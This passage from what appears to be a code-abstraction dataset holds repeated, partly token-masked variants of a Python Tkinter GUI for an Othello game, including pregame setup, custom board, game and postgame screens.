self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Pregame(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n <function token>\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n <function token>\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n <function token>\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Pregame(tk.Frame):\n <assignment token>\n <function token>\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n <function token>\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n <function token>\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n <function token>\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Pregame(tk.Frame):\n <assignment token>\n <function token>\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n <function token>\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n <function token>\n <function token>\n <function token>\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in 